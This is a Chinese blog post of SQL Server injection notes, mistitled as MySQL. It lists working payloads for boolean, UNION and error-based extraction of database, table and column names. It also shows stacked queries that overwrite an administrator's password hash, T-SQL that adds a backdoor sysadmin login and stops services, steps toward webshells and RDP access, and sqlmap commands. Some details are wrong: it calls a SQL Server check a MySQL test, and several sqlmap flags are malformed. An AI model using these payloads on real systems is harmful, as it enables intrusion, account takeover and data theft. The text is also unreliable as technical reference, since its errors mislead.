首页 > 数据库 >Mysql注入1笔记

Mysql注入1笔记

时间:2023-12-16 18:33:38浏览次数:25  
标签:name 数据库 表名 笔记 Mysql null id select 注入

Sqlsever常规操作

  1. access数据库大于100m可能就会运行缓慢,为了应对中小型企业的使用,微软推出

    了sqlserver数据库,用来应对一些大型的数据量。

  2. sqlserver常用于:
    1. 教育网站
    2. 政府网站
    3. 棋牌网站
    4. 游戏网站

一个企业站一个服务器,有可能是sqlsever

一个服务器多个企业站,基本上是access

  1. 监听端口:1433

管理员账号:sa,允许外部连接,可以密码爆破

数据库文件后缀:.mdf .ldf 下载数据库时两者需要同时下载

  1. 数据库使用

这四个系统数据库是由dbid号划分的,用户再创建数据库dbid号从5开始

 

Sqlsever版本向下兼容,如08可以访问05的数据

  1. 数据库删除

删除数据库先分离,然后进数据库目录删除

  1. 数据库权限
    1. sa权限:数据库操作,文件管理,命令执行,注册表读取等 =system
    2. dbo权限:文件管理,数据库操作等 =users-administrators
    3. public:数据库操作 =guest-users
  2. 调用数据库代码

在源码中会有明文显示

  1. 数据库账号信息常见的位置:
    1. conn.asp/aspx
    2. config
    3. dbconn
    4. web.config

如果查看源代码发现不是sa账号,但不一定没有sa权限,进一步测试再下结论

有时sa账号也会存在被降权的处理

 

Sqlsever注入利用

  1. 判断注入的语句
    1. And 1=1 and1=2
    2. ' "
    3. / -0
  2. 初步判断是否是mysql

    And user > 0

  1. 判断数据库系统

    and (select count(*) from sysobjects)>0 判断是否为mysql

    and (select count(*) from msysobjects)>0 判断是否为access

 

下面是布尔盲注的语句,全靠猜,一般用工具跑

Sqlsever常见的注入类型

  1. Bool盲注
  2. Union
    1. union select null,null,null
    2. 替换字符列进行查询数据
      1. 查询数据库:

    ?id=1 union select null,(select name from

    master.dbo.sysdatabases where dbid=1),null

    1. 查询表名:

    id=1 union select null,(select top 1 name from (select top 1

    name from sysobjects where xtype=0x75 order by name) t

    order by name desc),null

    改变top后的数字来改变查询的第几个表

    1. 查询列名:

    ?id=1 union select null,(select col_name(object_id('表

    名'),1)),null

    改变表名后的数字来改变查询的第几个列

     

注意:access使用select from后面要指定表名,但mssql和mysql可以不指定

因为用数字在非数字列数据类型不匹配会报错,不像access会

直接爆出来,所以要用null,再用数字替换确定是不是数字列,或

用'null'判断是不是字符列,页面回显正常就是字符列,报错就是数字列。

  1. Error:
    1. 查询数据库版本

?id=1 and 1=(select@@version)

通过报错把想要获取的信息显示出来。

由于输入id=1是数字类型,后面的语句与数字型不匹配,强制转换会导致报错,从而把查询的信息跟报错信息一起显示出来,也可以?id=@@version

  1. 查询数据库名

?id=1 and1 (select db_name())

?id=db_name()

  1. 查询表名
    1. 获取第一张表名:

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

  1. 获取第二张表名?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> '前一张表名')
    1. 以此类推,除去查过的表继续查询在后面加and name <> '表名'即可
  2. 可以以xml格式输出所有表

and 1=(select name from sysobjects where xtype='u' for xml path)

这种可能会被waf拦截

  1. 查询列名
    1. ?id=1 and 1=(select top 1 name from syscolumns where id

      =(select id from sysobjects where name = '表名'))

    2. 同样用and name <> '列名'来依次来爆其他列名
    3. 也可使用xml输出

      ?id=1 and 1=(select top 1 name from syscolumns where id

      =(select id from sysobjects where name = '表名') for xml path)

  2. 查询数据

?id=1 and 1=(select top 1 列名 from 表名)

 

  1. 多语句
  2. 时间盲注

Sqlsever不同权限利用

判断权限语句

and 1=(select is_srvrolemember('sysadmin')) :判断是否为sa(系统管理员)权限

and 1=(select is_srvrolemember('db_owner')):判断是否为dbo(库)权限

and 1=(select is_srvrolemember('public')) :判断是否为public权限

页面返回正常说明是你正在测的权限

*Sa权限的利用

  1. 注入用户密码(三种权限都可以)
  2. 修改网站管理员密码:

应用于管理员密码md5值解不出来

先备份原md5值

?id=1 ;update admin set pass='要设置的密码的md5' where

admin='管理员用户名'(这里是多语句查询注入)

  1. 直接getshell

  1. 调用系统命令
    1. 创建系统管理员

注意:08创建用户时限制密码不能用弱口令

 

  1. 操控文件
  2. 操控日志文件

  1. getshell

08:

Echo写入一句话到网站根目录,注意一句话要用^引用

 

  1. 创建sqlserver管理:

exec master.dbo.sp_addlogin test,password:创建一个test账号

exec master.dbo.sp_addsrvrolemember test,sysadmin:将test账号添加到

sysadmin中,拥有sa权限

  1. 系统服务操作,停止或启动服务:

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

  1. 注册表操作
    1. 创建后门

  1. 开启3389

 

启用3389之后新建任务调用cmd,可以进行无文件攻击,建立反弹会话

运行Explorer.exe可直接进入系统

Dbowner权限利用

Getshell

可以利用工具

Sqlsever工具使用

Sqlmap:

Sqlmap -u url --current -db 列出当前数据库

Sqlmap -u url --current -user 查看当前用户

Sqlmap -u url --is -dba 判断是否为管理员

标签:name,数据库,表名,笔记,Mysql,null,id,select,注入
From: https://www.cnblogs.com/4A16/p/17905157.html

相关文章

  • Nestjs的Provider 和依赖注入
    前言上文介绍了如何理解依赖注入和控制反转,简单来说,控制反转是一种设计模式,可以将类与类的关系解耦,将人工维护转移给一个容器维护。要实现控制反转,依赖注入是一个常用方案,将依赖注册到DI容器中,哪里用到,就让容器将实例注入到哪里。Nest中的依赖注入,主要就是围绕提供者(Provider)展......
  • 最小树形图学习笔记
    最小树形图学习笔记退役前想学但没时间学的uselessalgorithm,退役后找时间都学掉。这是其中之一。有向图上的最小生成树称为最小树形图(DirectedMinimumSpanningTree)。本文默认树形图为外向树,即除根以外的所有点的入度为\(1\),根的入度为\(0\)。最小树形图问题即求一个有......
  • mysql使用小tip
    小tip1mysql>usetestReadingtableinformationforcompletionoftableandcolumnnamesYoucanturnoffthisfeaturetogetaquickerstartupwith-ADatabasechanged当切换到某个库时,经常会出现上面信息,意思是预读这个库中表以及表列信息。但是当库中表很多,表中数......
  • 拟阵学习笔记(各处抄的,未完)
    昨天CMDround要用♿不会就来学了......
  • 《程序员修炼之道:从小工到专家》阅读笔记(7)
    第36节主要讨论了在项目开始之前的一些准备步骤和流程。作者强调了需求识别的重要性,并提出需求是与用户共同完成的“发现”过程,而不仅仅是收集他们的意见。需求在某种程度上应该保持抽象,因为需求不等同于架构或设计。作者还提到了一个词汇表的维护,这是为了消除歧义,并确保大家对需......
  • ml.net例子笔记2-概念和Widnows AI Studio
    一机器学习和ml.net1Python机器学习库在Python中,工具和库的生态系统可以分为五个主要领域:数据处理数据可视化数值计算模型训练神经网络这可能不全,因为此外还有其他许多的库,它们负责其他任务,并专注于机器学习的一些特定领域,比如自然语言处理和图像识别。使用Python......
  • 12月15日《软件需求十步走》阅读笔记二
    树立正确的软件需求的概念,信息化普及的当代,人们大都着重于软件开发,很轻易的就会忽略开发的最初需求分析,这样导致最后的开发受阻或终止等问题时,就会在时间、人力、物力方面造成大量浪费,那对于开发过程十分重要的需求分析过程,我们有什么好方法可以应用呢?我们一直在寻找真正的“完整......
  • MySQL锁:Java开发者必须掌握的关键技术
    一、介绍在多用户并发访问数据库时,为了保证数据的一致性和完整性,数据库系统需要使用锁来控制对共享资源的访问。MySQL作为一款流行的关系型数据库管理系统,也提供了丰富的锁机制来支持并发控制。对于Java开发者来说,了解和掌握MySQL锁是至关重要的,因为它可以帮助我们更好地设计和优化......
  • MySQL 8 社区版安装Percona的审计插件
    1.下载插件#tar-xvfPercona-Server-8.0.32-24-Linux.x86_64.glibc2.17-minimal.tar.gz#cdPercona-Server-8.0.32-24-Linux.x86_64.glibc2.17-minimal/lib/plugin#cpaudit_log.so/usr/local/mysql/lib/plugin/ 2.查看插件位置root@localhost(none)>showvariab......
  • MySQL 8 密码验证组件
    验证密码(validate_password)组件通过要求输入账户密码和对潜在密码进行强度测试来提高安全性。在MySQL8.0中,validate_password插件是以validate_password组件的方式实现的。插件的方式仍然可以实用,但是已经过期,未来可能被移除。validate_password提供了一个函数validate_pas......